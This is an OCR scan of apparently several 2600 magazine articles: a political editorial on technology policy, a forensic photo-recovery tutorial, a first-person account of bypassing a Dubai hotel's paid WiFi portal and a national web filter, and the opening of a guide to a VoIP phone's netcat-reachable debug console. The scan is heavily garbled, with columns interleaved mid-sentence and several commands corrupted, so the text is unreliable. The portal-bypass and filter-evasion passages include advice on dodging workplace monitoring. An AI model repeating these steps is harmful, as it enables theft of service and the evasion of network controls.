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We appear to be at one of those moments cou Id be on the verge of movi ng i n a whole 
i n  h i story. At least i n  theory i t  seems l i ke new d i rect ion .  
we've arr ived at a turn i ng  poi nt, where the Of cou rse, we expect to be d i sappoi nted . 
opportu n i ty ex ists for s ign i ficant and l ast ing  Let us not  forget how s i m i l a r  some of  these 
change to occur. Th is  is not a t ime to be hopes were in 1993, when the fi rst C l i nton 
as leep. adm i n i strat ion took power. They were 

The recent e lection that took p lace in the cred i ted with mov ing the Whi te House i nto 
U n ited States was h i storic  for a nu mber of the I nformat ion Age, rep lac ing  typewri ters 
reasons .  For the fi rst t i me, a member of a with computers, updat i ng  the phone system, 
m i nor i ty group was e lected to the nation 's and  mak ing  tech n ica l  competence the norm 
h ighest office, an  occu rrence many never rather than the except ion .  But then, i t  wasn 't 
expected to see i n  thei r l i fet i mes. People too long before we were be i ng  faced with 
from a l l over the cou ntry who had never the C l i pper Ch ip  controversy. 
before been i nvolved i n  pol i t ics fe l t  a new For those who a ren't fam i l i a r, 
sense of hope and empowerment th roughout imp lementat ion of th is f lavor of encrypt ion 
the campa ign,  a fee l i ng that c u l m i nated on (C l i pper bei ng for phones and phone 
E l ection Day when thei r v ictory became systems) wou ld  have g iven the government 
offic ia l .  Unprecedented ce lebrat ions broke the keys ( l itera l ly)  to a l l  approved encrypted 
out throughout American c i t ies and even i n  traffic with many fear ing that any other k ind 
many foreign ones. Th i s  perception of  true of encryption wou ld  soon become i l lega l .  I t  
change, even if i t  never goes beyond a mere was a l l  based on a c losed system so nobody 
perception, has been i nsp i r i ng  and has given rea l ly  knew how secure i t  was.  The idea of 
many of us an a l l  too rare dose of opt imism.  just trusti ng the government to  do the r ight 

In the hacker/technological world,  we th ing  d idn't rea l ly  s i t  wel l  with anyone 
have a part icu lar reason to open our eyes. understand ing what was at stake. Strong 
On a techn ica l  front, Barack Obama seems to oppos it ion from the rap id ly  growing I nternet 
get it, qu ite a b it  more than h i s  predecessors comm u n ity and the emergence of pub l ic 
and opponents. He spoke out i n  favor of encrypt ion too l s  such as PCP hel ped to keep 
net neutra l ity years ago and seemed qu ite th i s  bad i dea from ever tak i ng off and the 
fam i l iar with why it was i mportant. H i s  project offic ia l ly  d ied i n  1996.  
campaign c lear ly u nderstood how to use The Dig i ta l  Telephony Law (or  CALEA) 
h igh tech to thei r advantage, rangi ng from made it orders of magn itude eas ier to tap 
the widespread use of text messaging i n  te lephone cal l s  i n  d igi ta l  switches. I t  was 
order to reach supporters to embrac i ng passed i n  1994. The Digita l  M i l l en n i u m  
the I nternet i n  gett i ng the message out and Copyright Act (wh ich 2600 was the fi rst 
ra l ly i ng support. Th i s  is s ign i ficant. Someone off ic ial  v ict i m of) became law in 1998 and 
who has an actual grasp and comprehension created al l  sorts of restr ict ions and regu lat ions 
of technology, a long with i ts  r isks and on how peop le cou l d  use technology on the i r  
essential  freedoms, i s  poised t o  p u s h  pol icy own computers or e l sewhere, th reaten i ng 
i n  a d i rection that m ight benefit a l l  of us.  We the val ued concepts of fai r  use a'ld reverse 
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engi neer ing .  I will prevent network providers from 
There a re more examples of bad discriminating in ways tha t limit the freedom 

l eg i s l at ion com ing  out of the C l i nton yea rs of expression on the Internet. Beca use most 
that served to set back techno logy, as we l l  Americans only have a choice o f  only one 
as st if le creat iv i ty and free speech .  The or two broadband carriers, carriers are 
po i n t  here is not to l i st them but mere ly  tempted t o  impose a toll charge on content 
to acknowledge the fact that hav ing  one and services, discriminating against websites 
s ide or another i n  power is no guarantee that are un willing to pay for equal treatment. 
that th i ngs a re go i ng  to move i n  a posi t ive This could create a two-tier Internet in which 
d i rect ion .  We certainly don't have to l i st a l l  websites with the best relationships with 
of the bad ideas and precedents that came network providers can get the fastest access 
out of the l ast e ight  years on everyth i  ng from to consumers, while all competing websites 

border searches of l aptops to i ncreased remain in a slower lane. Such a result would 

domest ic su rvei l l ance - each i n  the name threaten innovation, the open tradition and 

of "home land secu r i ty" and each hav ing archileclure of lhe Inlernet, and competition 

absol ute ly  no effect on anyth i ng  tru ly  among content a n d  backbone providers. It 

dangerous, but a l l  too much of an  effect would also threaten the equality of speech 

on our  everyday l ives and our  percept ions through which the Internet has begun to 

of what consti tutes norma l i ty. We can on l y  transform American political and cultural 

hope that reversa l and  term i nat ion of some discourse. Accordingly, network providers 

of these po l i c ies is h igh on the pr ior i ty l i st should not he allowed to charge fees to 

of the new adm i n i strat ion .  privilege the content o r  applications of some 

The lesson here is that possess ion of wehsites and Internet applications over 

mere fam i l i a r i ty with techno logy doesn 't others. This principle will ensure that the new 

mean that the peop le ru n n i ng th i ngs wi l l  competitors, especially small or non-profit 

act i n  a man ner that's fa i r  to the rest of us .  speakers, have the same opportunity as  

Oftent i mes i t  works i n  exact ly  the oppos i te incumbents to innovate on the Internet and 

way. Power and  control  do strange th i ngs to to reach large a udiences. I will protect the 

people, after a l l .  Internet�s traditional openness to innovation 

A great para l le l  can be seen i n  schoo l s .  and creativity and ensure that it remains a 

Who wi l l  a l l ow you to experi ment and platform for free speech and innovation thai 

accompl  i sh  more on the school computer will benefit consumers and our democracy." 

network? The teacher who knows next to Those remarks came from an i n terv iew 

noth i ng  about the subject? Or the self- Obama gave back i n  2007 .  He c lear ly  has a 

I· d t' F th f h hand le  on what the I n ternet is about and the proc a lme exper ( or ose 0 us w 0 
fee l comfortab le  work i ng and p l ay ing  potent i a l  i t  promi ses, as we l l  as the th reat 

with tech no logy, bei ng left a l one and 
posed by those ent i t ies who want to  create 
more contro l s  and restr ict ions .  It is essent i a l  

avo id i ng  m ic romanagement i s  a l l  we that th is idea l i sm not be sacr ificed to the 
rea l ly need . But when those who imagi ne 
themselves I'n h f I 'f th d 't 

powerfu l i n terests that stand to benefit from 
c a rge ee as I ey on the re ign i ng  i n  of freedom. And that task 

h ave tota l contro l  and u nderstand ing  over fa l l s  to us - the people - to ensu re that th i s  
every nuance of  the envi ron ment they're prom ise is uphe ld .  
superv i s i ng, that's when fear  and i rrationa l  
behavior take ho ld .  I n  school we see tha t  i n  

For now, though , let us  be l ieve there i s  

the form of u n reasonab le  restr ict ions and 
hope for some pos i t ive sh i fts i n  the road 
we've been go ing  down .  The worst t h i ng  we 

pun i shment. In the govern ment, we see i t  as cou ld do wou ld  be to res ign ourselves to the 
an obsess ion with su rvei I l ance and speech opi n ion that cha nge i s  never poss ib le  or that it 
mon i tor i ng. Those in charge a re a lways i n  can o n l y  occur  when a phenomena l  amount 
fea r  of be ing  ec l i psed by the very people of cond i t ions a re met - wh ich bas ica l l y  
they're supposed t o  b e  contro l l i ng. A n d  we ach i eves the same effect as perpetua l 
don't expect that u nder ly ing  trep idat ion to pess im i sm .  Even i n  the best case scenar io, 
change. we know there wi l l  be setbacks and po l i c ies 

That i s  not to say that we can't hang onto that u l t i mate ly  prove detr i menta l .  But in th i s  
some opti m i sm.  A quote l i ke th i s  provides h i stor ic moment, there i s  great potenti a l  for 
us with ample reason :  steps to  be  taken and for a new begi n n i ng 

"The Internet is the most open network on a variety of leve l s .  I t  wi l l  be  worthwhi le 
in  history. We have to keep it that way. to pay c lose attent ion .  
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INTRODUCTION TO 
FORENSIC DATA RECOVERY 

by Paradox 

Recent ly wh i le trave l i ng in C uba, I had the 
u nfortunate l uck of hav i ng a n  ent i re week ' s  
worth o f  photos i nadvertent ly  de leted from 
my d ig i ta l  camera ' s  memory card.  These 
photos were obv ious ly  not somet h i n g  I cou l d  
have recreated and I had n ' t  yet been ab le  to 
copy them off of the card onto the computer. 
Was a l l  l ost? No !  By employ i ng some bas i c  
computer forens ics sk i l l s a n d  some L i n u x  
kung-fu I w a s  ab le  t o  recover all o f  t h e  l ost 
photos. 

F i rst th i ngs fi rst we need to l earn about 
what happens when you "de lete" a fi l e  from 
a d ig i ta l  system l i ke a computer, cel l p hone, 
camera, etc . Wh i l e  many ho ld  the na ive 
not ion that a delete i s  fi na l  and that the b i ts 
go to the b i g  /dev/n u l l  i n  the sky, it probab ly  
won ' t  come as a su rpr i se to  many of  you  that 
this i s n ' t  the case at a l l .  

W h i l e  each fi lesystem hand l es de let ion 
d i fferent ly  in  tech n ica l  i m p lementat ion, the 
concept they ut i l i ze i s  the same.  When you 
de lete a fi l e  from the storage med i u m  where 
you r  fi lesystem i s  located, the b i ts that you r  
data i s  stored i n  are s i m p l y  marked as " u n used " .  
Delet ion b y  t h e  defi n i t ion o f  the word tends to 
i m p l y  an "overwrit i ng" or "zero i ng" p rocedu re, 
i .e .  actu a l l y  gett i ng  r id  of the data . Actua l l y 
zero i n g  the b i ts that ho ld  you r  to-be-deleted 
data wou l d  be a t ime i ntens ive procedu re; 
espec i a l l y  when you sta rt to cons ider  delet ion 
of l a rge fi les .  The "mark as u n u sed" so l ut ion 
accomp l i shes the same th ing as fa r as the 
operat i ng  system i s  concerned; the data wi l l  
eventually b e  overwritten by new data that 
i s  wr i tten to d i sk .  Th i s  "eventua l ly "  c l ause is 
what we can exp lo i t  to save our data . 

you r  express des i re !  As 
ment ioned, after de let i n g  a fi l e, the space i t  
occup ies i s  free game for a nyth i ng that comes 
a long need i ng disk space. Therefore, i f  a 
log fi l e  happens to be created i m med iate l y  
after you de lete your fi l e, there is a chance 
that some of that log fi l e ' s  data w i l l  end u p  
overwrit i ng you r  deleted fi le .  

Th us  the o n l y  way to be s u re that  you r  
de leted data wi l l  rem a i n  i n  a n  u ncorrupted 
and  recoverab le  form is to i m med i ate ly  ex i t  
the operat i ng  system, s h ut down the dev ice, 
pu l l  the p l u g, eject the d i s k, and  otherw i se 
ensure that the dev i ce rema i n s  i n  a read-on l y  
state for t h e  rest o f  th i s  tutor i a l .  

N ow that w e  have t h e  dev ice i n  a state 
where we fee l  confident that no new data 
can be wr i tten to i t, i t  wou l d  be w i se to make 
an exact copy i n stead of work i ng with  the 
or ig i n a l .  S i nce our de leted fi l es a re marked as 
free space at this poi nt, we can't j u st mount  
the dev i ce as read on ly  a n d  use trusty o ld  
cp to  copy our  de leted fi les off. I nstead, we 
need to create a byte-for-byte copy of  the 
dev ice i nc l u d i ng a l l  of  the free space, s i nce 
our de leted data is tucked away somewhere 
i n  there.  

To do t h i s, we' l l  use the L i n u x  dd 

command. Th i s  command comes i n sta l l ed 
with every modern d i st r ibut ion of L i n u x  
I h ave ever encountered, and  wi l l  s u re ly  
be i nsta l l ed on you rs .  My recommended 
procedu re i s  to down load and b u rn the 
K nopp i x  L i n u x  l ive C D. Th i s  has severa l 
benefits, most i m portant ly :  Knopp ix  w i l l  
mou nt any app l i cab le  fi lesystems i t  fi nds  o n  
the computer a s  read-on l y  by defau l t .  Th i s  is 
p refect for our pu rposes s i nce we don't want 
to accidenta l l y  wr i te any data to the dev ice. 

Once you have booted i nto the Knoppix 
env i ron ment we need to fi n d  the L i n u x  dev i ce 
name of our  ta rget dev i ce and  the part i t ion 
n u m ber. I n  the case of my camera i t  was /dev/ 
sdb 1 .  Ser i a l  dev ice B, part i t ion 1. I fou n d  t h i s  
b y  ru n n i ng: 
ls -] /dev/disk/by-id/usb* 

Obv i o u s l y  if you a re searc h i ng for a 
non- U S B  dev ice you wou l d  exc l ude the 
"llsb*" sect ion of the command that fi l ters 
the resu Its . 

The fi rst, and  arguab ly, most i m portant 
th i ng to take away from th i s  over-s i m p l i fi ed 
l esson on fi l e  delet ion is that you m u st 
immediately d i sab le  wr it i ng to the dev ice you 
w i sh  to recover from.  Operat i n g  systems a n d  
dev ice  fi rmwa re are com p l ex a n d  very l a rge 
programs .  They a re constant ly  wr i t i ng th i ngs 
to d i sk without you r  i nterventi o n .  Background  
processes a re swapped to  d i s k, log fi l es 
a re be ing  wr i tten to, and  a l l  sorts of data i s  
bei ng pers i sted . Th i s  a l l  happens without 
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O nce we have the L i n u x  dev i ce name we 
can beg i n  c reat i n g  an i mage of the d i sk .  F i rst, 
make su re you h ave enough free space on a 
wri te-enabled dev ice to store the d i s k  i mage. 
The d i sk i mage will be the same s i ze as the 
total capacity of the dev i ce we a re try i ng to 
recover from.  S i nce I was recover ing  i m ages 
from a 1 GB Memory card, I needed to make 
su re I had -1 G B  free on my computer ' s  hard 
dr ive. To beg i n  the i mag ing process enter the 
command:  
sudo d d  if:<input device/ 
partition> of=<outputFile> 

i .e .  i n  my case I ran :  
sudo dd if:/dev/sdbl of:/ 
home/daniel/disklmage.dd 

Th i s  i magi ng process may take awh ile 
depend i n g  on the s i ze of the d i s k  part i t ion you 
are i magi ng. In my case, i t  took a pprox i m ately 
15 m i n utes. Once the i mage process is  
com p lete, you can safe ly  remove the dev ice 
from you r  system and store i t  in a safe place. 
With our disk i mage in hand we can perform 
the recovery from any L i n u x  mac h i ne.  

N ow wh i l e  the too l we are p l a n n i ng to 
use to recover our  data can work out-of-box 
with a dd i mage, some too l s  can't. I f  you a re 
p l an n i ng to use a too l that wants to work with 
the fi l esystem itse l f  then you ' l l  want to mount 
t h i s  dd i mage as a " Ioopback" dev ice. To do 
that you wou l d  r u n :  
sudo mount - 0  loop -t <type> 
-'<imageLocation> <IDountLocation> 

i . e  i n  my case I ran :  
sudo mount -0 loop -t vfat /home/ 
"daniel/disklmage.dd /rnnt/ 
"diskFiles 

Make s u re that you r  mount  locat ion ex i sts 
before ru n n i ng th i s  command.  In my case i f  
t h e  "d i skF i les"  fo lder  d i d n ' t  ex i st, t h e  mount  
wi ll fa il. 

We can now run our recovery too l to 
scrape out as many fi l es as we can from the 
free ( i .e .  deleted) space of our dev i ce.  The 
tool we a re go i n g  to use i s  called Foremost. I t  
i s  a very s i m ple to use tool that was or ig i n ally 
c reated by the u . S .  A i r  Force and  l ater made 
open sou rce and p u b l i c .  I t  has the ab il ity to 
recover a few common fi l etypes automat ica l l y. 
These types i n c l ude i mages, executa b les, 
documents, mov ies, etc. It supports ext3, fat, 
a n d  ntfs fi l esystems, so chances a re that you r  
dev ice wi ll b e  supported .  More i nformat ion o n  
t h e  tool c a n  b e  fou n d  a t  t h e  webs i te prov i ded 
at the end of th i s  tutori a l .  O n  a Deb i a n  system 
i t  was j ust a matter of ru n n i ng the fo l lowi n g  
command t o  i n sta l l  foremost. 
sudo apt-get install foremost 

to only recover that type. I n  my case I knew 
my camera saved the i mages as )pG fi l es .  So 
I ra n :  
sudo foremost -t jpg - i  /home/ 

"daniel/disklmage.dd -0 /home/ 

"daniel/recovered 

If you wanted Foremost to try a n d  recover 
a ll types of f iles i t  cou l d  (th i s  may take a long 
t i me) you wou l d  r u n :  
sudo foremost - t  all -i 
-'<imageLocation> -0 <outputFolder> 

The -t argument is what te l l s  Foremost 
wh ich  k i n d  of fi l es you want to recover. For 
i n stance i f  you wanted to recover Office-type 
documents such as .ppt and . doc you would 
use -t ole. Consu l t  the docu mentat ion to 
fi nd out wh ich  fi l e-type flags are supported.  

Aga i n, i t  i s  i mportant that the output folder 
ex i sts before you run  Foremost. Once i t  has 
fi n i s hed you wi l l  have hopefu l l y recovered 
the data you were look ing  for to the recovery 
folder you spec i fied .  There is however one 
more h u rdle to jump before you can  fi n d  
o u t .  Foremost (l i ke most o f  the tools we've 
used so fa r) can  o n l y  operate as root. As such 
the output f iles i t  generated are also owned 
by root. To f ix t h i s  we' l l  chown them to o u r  
user. 
sudo chown -R <yourUser>:<yourUser> 
"<outputFolder> 

I n  my case that meant ru n n i ng:  
sudo chown - R  daniel:daniel /home/ 
"daniel/recovered 

You can now change d i rector ies i nto you r  
recovered fo lder. You 'll fi n d  an  aud i t text fi l e  i n  
t h e  root o f  you r  recovered fo l der outl i n i ng what 
Foremost was a b l e  to recover. Most i mportantly 
though, you w i l l  fi nd  a l l  of the recovered 
fi les orga n i zed i nto fo l ders by type. In my 
case I fou n d  a l l  75 of my m iss ing  )pGs in the 
/home/daniel/recovered/jpg/ fo lder. 
H opefu lly you fou n d  you r  fi les too ! 

Th i s  tutor ial should serve as a good sta rt i ng  
po i nt for you r  jou rney i nto u ndersta n d i n g  
computer forens ics .  Advanced top ics  ex i st to 
supplement you r  knowledge. For i nstance, 
Foremost is l i m i ted to spec if ic filetypes. I f  
you  want  to  recover other fi les you  may have 
to resort to u s i n g  advanced softwa re l i ke 
Autopsy and  Sleuth k i t, but  these req u i re a 
deeper u ndersta n d i n g  of com puter forens ics .  
U ndoubted ly  you w ill fi nd that  the concepts 
you l earned i n  t h i s  tutor ia l  w i l l  serve you well 
if you attempt to further you r  knowledge. 

Resources 
http://foremost.sourceforge.net/ 

http://Linux.die.net/man/l/dd 

http://Linux.die.net/man/8/mount 

http://www.knoppix.org/ 

We a re now ready to recover o u r  fi les .  I f  
you  know the spec i fic  type of  fi l e  you  w i sh  to 
recover you can save t ime by tel l i ng Foremost 
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by forgotten247 

Hacking Dubai 
and More Internet 

Proxy Loopholes 
and  password. I had no l u ck there. OK, try 
n u mber two, wou l d  enter i ng a name with a 
bla nk or random password? Nope. 

I had no i ntent ion of pay i n g  $40/day for 
I nternet access for the next week, even at 
my compa ny's expense, so I pul l ed out  my 
i Phone to see i f  I cou l d  get cel l -network web 
access .  H avi ng a U S-based i Phone locked 
for AT&T meant no l u ck in that arena .  I a l so 

I recent ly  had the opportun ity to go to had a Black Berry and it worked fi ne on the 
Dubai  for a work fu nct ion .  I was put u p  at local prov i der network, however I d i d n 't want 
the J u m e i rah  resort, a n ice l i ttle spot on the to browse u s i ng Black Berry 'S watered-down 
gulf with some great v iews, restau rants, and  web i nterface. 
c l ubs .  As a ny reader of 2600 wou ld  do, the Th i ngs were start i ng  to look gr i m, but  I 
fi rst th i ng I d i d  when I got to the room was see was not w il l i ng to give i n .  I jo i ned the i Phone 
how I cou l d  get  o n l i ne. to the hotel WiFi  setup a nd went th rough the 

On the desk was a card outl i n i ng the regi strat ion pages, hop i ng for some luck .  I 
process to do so. I cou l d  pl ug i n  an Ethernet noticed d i fferences on the page when v iewed 
cable, go through a few screens, and once through i Phone, from what I had seen on  the 
regi stered I ' d  be able to use w i red or wi reless laptop. Ma i n l y, q u i te a few sect ions  of text 
access th roughout the resort. J ust what I that had been present on the laptop d i d n't  
needed, beach-s ide WiFi  to enjoy the net and show u p  on the i Phone.  Instead there was an 
the G ulf at the same t i me. icon that i n d i cated there was content that t h e  

N o  worries, I thought, a n d  I sta rted the mob i l e  Safar i  browser could not load. 
process by d i sa bl i ng the A i rport on my Th i s  looked promi s i ng .  I fi n i shed goi ng 
MacBook Pro, p l ugg ing  i n  the Ethernet cab le, th rough the reg i strat ion pages and  then I got i t .  
and fi r i ng  u p  Safa r i .  I was prompted with a On the page where the laptop 's  browser was 
"J u m e i ra h  H otel I n ternet Access" l a n d i n g  page, prompt i ng me to se lect the amount  of t ime I 
and then c l i cked on the " I nternet Access" l i nk .  wanted t o  pay for, I rece ived a message say i n g  
From there I chose " I n-House G u est" and  tha t  the regi strat ion process was  completed, 
accepted the terms and  cond i t ions  wh ich and  I was  in .  I q u i ckly typed i n  a few U RLs 
were pretty sta ndard.  and  i n deed I was on l i ne .  

Then somet h i n g  h i t  me about the page to I t  seemed the reg i strat ion and  access 
reg i ster my system. You ' d  t h i nk a hote l that grant ing  pages were dependent on web 
charges $ 1 , 000+ US do l l a rs a n ight (yes, it components that were not compat ible with 
was that expens ive) wou l d  th row i n  I nternet mob i l e  Safar i . U s i n g  that k nowledge as a 
access, but no, they d i d n ' t . The screen that j u mp i n g  poi nt, I was able to f ind that the web 
came u p  wou ld  a llow users to reg i ster for one appl i cat ion used to provide I nternet access 
hour of I nternet access for $30 AED (about $8 used J ava components.  For whatever reason 
U S) or $ 1 5 0  A E D  ($40 US) for 24 hours .  the developers had decided that  i nstead of 

After pay i n g, the system wou l d  prov ide a fa il i ng closed, they fa i l ed open, mea n i ng i f  
username and  password that could then be there was an  error with the app l i cat ion, no 
entered i nto a form on the web system to ga i n  access would b e  granted . When the J ava 
access. Th i s  was a b i t  of a su rpr ise see i n g  as components d i d n ' t  run, the system defa ulted 
the card on the desk made no ment ion of the to lett i n g  people through and grant ing  access. 
added cost, but I was game to see i f  there D u m m i es! 
were any u n ique  ways to ga i n  access. N ow I do th i nk the i Phone i s  a great l i ttle 

To get sta rted I d i sconnected the Ethernet dev ice, but  I d i d n ' t  want to do all my su rf ing 
cable, switched to A i rport, and went to the on  my phone, so with  a l i ttle help from the 
land ing  page to enter a ra ndom username t i nyproxy nat ive appl i cat ion I had i nstal l�d on 
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it (you had to assume it was j a i l broken, d i d n ' t  
you?) I poi nted m y  laptop t o  u s e  t h e  i Phone a s  
a proxy and  off I went, free W i F i  access across 
the i Phone to the l aptop. 

Before I l eft I c i rc l ed back to va l idate 
the secu r ity ho le  that a l l owed th i s, and  
fou n d  that d i sab l i ng J ava on a browser on 
the l aptop resu l ted i n  the same fu l l  access 
without need i ng to go through the reg i strat ion 
process. I a l so not iced that in the a reas of the 
hote l where there were bus i ness meet ing  
rooms the  Wi F i  networks were complete l y  
u n restri cted, wh ich  I fou n d  i s  t h e  case at 
most bus iness/convent ion centers and  worth 
not ing, a l though not much  good to get on l i ne 
from the pr ivacy of you r  room, or the a l l u re of 
the beaches. 

The mora l of th is segment of the story is 
twofo l d :  F i rst, i f  you run i nto any W i F i  apps 
req u i r i ng reg i strat ion, make s u re to test them 
out without th i ngs l i ke Java or Act iveX d i sab led 
beca use you may be p leasant ly  s u rp rised; 
Second, a word to developers, you rea l l y  
need t o  th i n k  beyond end-users access i n g  
t h e  network on trad i t iona l  setu ps and shou l d  
a l ways fa i l  c l osed w h e n  i n  doubt. 

Now, the d ig ita l  adventu res in Duba i  
d i d n't stop there. Afte r brows i ng a few s i tes 
I ran i nto a nasty l i tt l e  page tel l i ng me "S ITE 
B LOCKED", i n  b ig  bo ld red letters, with 
sub-text, "We apologize the s i te you a re 
attempt ing  to v i s it has been b locked due to its 
content be ing i ncons i stent with the rel ig ious, 
c u l tura l, po l i t ica l  a n d  moral  va l ues of the 
U n ited Arab E m i rates . "  J u st for good meas u re 

it was written i n  Eng l i sh  and  Arab ic .  
Now, I can say  for su re that  there are 

p lenty of s i tes I go to on a reg u l a r  bas i s  that 
a re i ncons istent with the moral  va l ues of the 
UAE, so, let ' s  get around  th is  th i n g  sha l l  we? 

Th i s  one was not too d i ffi cu l t, as I have run 
i nto s i m i l a r  b l ocks i n  C h i na and other  heav i l y  
regu l ated a reas. The way these typ i ca l l y work 
i s  u s i ng  web proxy servers or app l i a nces with 
fi l te r ing  techno logy which c l ass ify s i tes by 
type.  Access is then a l l owed o r  de n ied based 
on type. SmartF i l ter, as covered in the Spr ing 
2 008 i ssue, i s  one of these techno log ies .  The 
a rt ic le  d i d  a good job of descr i b i ng a so l ut ion 
to get around SmartF i l ter, but it was a b i t  
overcom p l i cated for my l i k i ng .  F i rst, i t  re l ied 
on peop le  hav i ng an I nternet-fa c i ng host 
that you cou l d  get she l l access o n .  You a l so 
needed the a b i l ity to f i re up an ss h l i stener on 
that server, and to set u p  a SOCKS proxy on 
you r  c l ient system .  

W h i l e  th is certa i n l y  i s  a v i a b l e  tec h n i ca l  
sol ut ion, and  an  educat iona l  art i c le, the 
assumpt ion that peop le  have access to an 
I nternet-fac i ng server they ca n set a serv i ce 
up on is a bit beyond rea l i ty, even for 2600 
readers. If you a re i n  a corporate env i ron ment 
there is a good chance that the PC po l i c ies 
won't let you i n sta l l  Putty or run  u napproved 
serv i ces on the c l ient .  Places with I nternet 
proxy fi l ters typ i ca l l y  a lso have some level 
of i nfrastructure mon itor ing  go i ng on, as wel l 
as secu r i ty pol ic ies enforced th rough Active 
D i rectory and/or PAC fi l es that won't a l l ow 
i n sta l l at ion of software or chang ing  you r  web 

4.11�-=::,t '��, .ill':::'� ,-,_�>i _2:9 '.t.:�:.6_",:,-; ''::'.J,i ,5.:dl 8:�'+') 11 ,>! ,_.Q..,..<.IL 
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We apologize the site you are attempting to visit has been 
blocked due to its content being inconsistent with the 
religiOUS, cultural, political and moral values of the United 
Arab Emirates. 

If you think this site should not be blocked, please visit the 
Feedback Form available on our webSite. 

SITE BLOCKED 
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browser settings. I nternet-facing server side.Jump out onlineand 
I have a different approach to getting do a search for "web proxy <web language>" 

around Internet filtering proxies that puts where the web language is PHP or ASp, 
less requirements on the users, both on the depending on the host you are using. PHProxy 
server and client side. Rather than just give (http://sourceforge.net/projects/poxy/) 

the solution, let's take a walk-through of how is one that comes to mind for PHp, and is 
we get there. To start with, SmartFilter and near the top of the search results right now, 
other filters are based on the URL or IP of the although that one is a little dated. It will work 
site you are going to. They do not filter on fine, as will almost any others you come 
content, at least none that I have run into yet. across. So, take whichever proxy solution 
This is very important. The default reaction to interests you, drop it on your hosted web 
this knowledge should be that if you can't get provider space, which hopefully has a nice 
to a site because the host is blocked, go to a inconspicuous host name, and point your web 
site on a host that isn't blocked that you can browser to it. Government-enforced proxies, 
get the content through. such as Dubai's, as well as business/corporate 

Let's try that out. Hop on over to Google, proxies, should let you slide right by. From 
I haven't found them blocked yet, and type there you should just need to type in the URL 
in a search that would result in the URL you you want to pull up, click a button, and sit 
want to view. On the search results screen back as the page you wanted is displayed in 
instead of clicking on the title of the page, its full form. Hopefully the web proxy you 
click on the "Cached" link. Sweet, I'm in, are grabbed dynamically updates any HREF links 
you? Probably. The cached content is served so as you navigate around, all future clicks go 
from Google's servers which are not blocked, through your proxy. If it didn't, grab a different 
since the host name in the URL is for Google, one. Most support doing this. 
not the host which the proxy doesn't like. The beautiful part of this approach is that 
This is a quick and dirty way to get to a single as long as the host name you are running your 
page that is blocked, but Google's cache proxy from doesn't raise any suspicion, there 
isn't always complete, following links from it would be no reason to have to change your 
isn't always easy, and the pages don't always browser settings on the client. This is great if 
render correctly. you are in a work environment where those 

Let's keep going down with the intention settings are locked down. 
of getting access to all the content, not just One word of caution for business users 
the cached image of the blocked host. Most of though, SmartFilter and other web proxy 
you should be well aware of anonymizer sites solutions typically are used to provide 
that you can go to, enter a URL, and proxy the reports on the most visited websites, and 
content through their servers. The intention of the most active Internet users. You should 
these sites is to improve your security so the try to fly under that radar by only using your 
web servers don't know who is making the proxy when absolutely necessary, and keep 
request, however they can also be used for browsing from work at a minimum. The 
you to get content from a site, without entering name of your host is important as well. I f  
that site's URL. That sounds exactly like what it does pop up on one of those reports the 
we need, but unfortunately most of these are more official it looks the better. Don't register 
well known by proxy filters, so going to one "iusethistobypassmyworksecurity.com" or 
of those is not going to cut it. Are we stuck? "myporngateway.com" or you may not be in 
Nope, we just need an anonymizer site that that job long enough to use it! 
the proxies don't know about, and the best So, that concludes this chapter of my 
way to get one is to host your own. Dubai adventures and another method of 

Now, writing a web app to do this is very getting around Internet proxy filters. I enjoyed 
simple, but it is even easier just to implement that week of sun, free net access, and freedom 
one that already exists. I mean why spend to digitally go wherever needed. All thanks 
time doing something that's already been to a poorly written WiFi registration app, an 
done. Much like the prior article on getting iPhone, and a personal web proxy gateway. 
around SmartFilter, you do still need some I do have to add that spending too much 
Internet-facing server space for this, but it time in front of your system in Dubai would 
can come in the form of a simple, low cost be quite a waste. Anyone who can get there 
web hosting provider. No shell access or should plan on not sleeping too much - hitting 
ability to run services needed. Just a provider the beaches all day and partying at the clubs 
supporting PHP or ASP, which almost any all night is the only way to go, even when your 
decent provider will support. online exploits or World of Warcraft buddies 

The first thing needed is to set up the are calling. Just save up, Dubai isn't cheap! 
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by Metalxl 000 
metalxl000@yahoo.com 

I:: I:-� IIi rp3 
I:: 1:1 r··II:� i l:=i 1 

know, but if I fi nd them I wi l l  l et you a l l  
know. F i n a l l y  w e  get to port 902 7, wh i ch 
we wi l l  be look ing at today. 

For those who are u nfa m i l i a r, Comd ia l  I w i l l  be  u s i ng  NetCat i n  th i s  tutor i a l ,  bu t  

phones a re Sess ion I n i t iat ion Protocol (S I P) tel net or s i m i l a r  programs wi l l  work as  we l l .  

phones that a re used i n  offices. I n stead Let ' s  say our IP address is 1 92 . 1 68 .2 2 . 2 3 7, 

of trad i t iona l  phone l i nes, these phones we wou ld  con nect to the phone with NetCat 

con nect to you r  loca l network v ia  CATS. and you wou ld  get the fo l l owi ng output: 
/home/user> nc 192.168.22.237 9027 

Al though I have not worked with C i sco [l7 : 17 : 12 .428] commandJloll: 

phones, from what I have read they a re got listenfd event 

s i m i l a r. [17:17:12.439J commandJloll: 
action->fdJltr=9 accepted 

I n  th i s  a rt i c le  I w i l l  be ta l k i ng about [l7:17:12.439] Connected 

model "CONVERS ip  EP3 00", a l though I ' m  to station 237 

h h II k [17:17 :12.441J Phone Version: 3.0.026 su re t at these tec n iques wi wor on [17:17:12.439J Phone Build Date: 
other mode ls .  The fi rst step i n  exp lor ing  06/05/2008 17: 17: 12 

th h . t f d't I P  dd Th [17 :17:12.439] Phone MD5Sum: e p one IS 0 In I S a ress. ere 
3777ad4b3ac20ae9b56391267e81bb90 

are two ways of do ing th i s .  The fi rst way i s  [17: 17: 12.450] Boot Version: 1. 04 
to wa l k  r ight up to the phone and  get the [17:17:12.451] Boot Build Date: 

i nformat ion .  05/03/2005 22:40:17 
[17:17:12.450J Boot MD5Sum: 

To do th i s  look at the LCD screen on the 5b84e34dcf06235e3763c755a9c57e9c 

front of the phone.  R ight below the LCD Now that you a re con nected, type " ? "  
screen a re th ree buttons .  Each corresponds (without the quotes) and press " Enter" . Th i s  
with a menu option on the  screen .  The th ree wi l l  b r ing  up the he lp  menu as fo l l ows: 
defa u l t opt ions a re "VMAIL "  (Vo ice m a i l ) , *** Console commands 

" D N D" (Do Not D i stu rb), and "M E N U " .  [19:42:19.089J @ [destip] - Send 

Let ' s  choose "M E N U "  then " N EXT" .  When 
... debug log t o  remote syslog at 

... [destip] 
you see "2 I nfo" on the LCD Screen Press [19:42:19.089J or turn off if 

" ENTER" .  Now press " N EXT" twice.  Th i s  ... [destip] not specified 

br i ngs you to a screen that says, "3 System [19:42:19.100J! [agressiveness] -

... Set speakerphone agressiveness 
